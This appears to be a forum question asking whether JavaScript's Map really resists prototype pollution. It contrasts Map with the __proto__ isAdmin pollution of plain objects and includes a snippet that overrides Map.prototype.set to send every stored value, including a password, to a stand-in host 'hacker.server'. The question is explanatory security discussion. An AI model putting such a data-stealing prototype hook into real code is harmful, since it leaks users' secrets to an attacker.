Regarding the security of JavaScript Maps
, there exist claims like these:
The Map primitive was introduced in ES6. The Map data structure stores key/value pairs, and it is not susceptible to prototype pollution. [1]
It essentially works as a HashMap, but without all the security caveats that
Object
have. When a key/value structure is needed,Map
should be preferred toObject
. [2]
You in fact can replace a Map's
functionality, using the conventional technique, in a way that affects all instances present and future:
const myMap = new Map();
// Malicious code
const oldSet = Map.prototype.set;
Map.prototype.set = function(key, value) {
const img = new Image();
img.src = 'https://hacker.server/?' + JSON.stringify(value);
return oldSet.call(this, key, value);
};
// Your data is now stolen
myMap.set('password', 'hunter2');
Presumably, what these authors mean when they say ‘not susceptible to prototype pollution’ is restricted to the fact that this style of injection attack doesn't work with Map
:
const myMap = new Map();
myMap.set('__proto__', {isAdmin: true});
myMap.get('isAdmin'); // undefined
…in the same way that it would work with objects:
const obj = {};
obj['__proto__'] = {isAdmin: true};
obj.isAdmin; // true
Is that correct?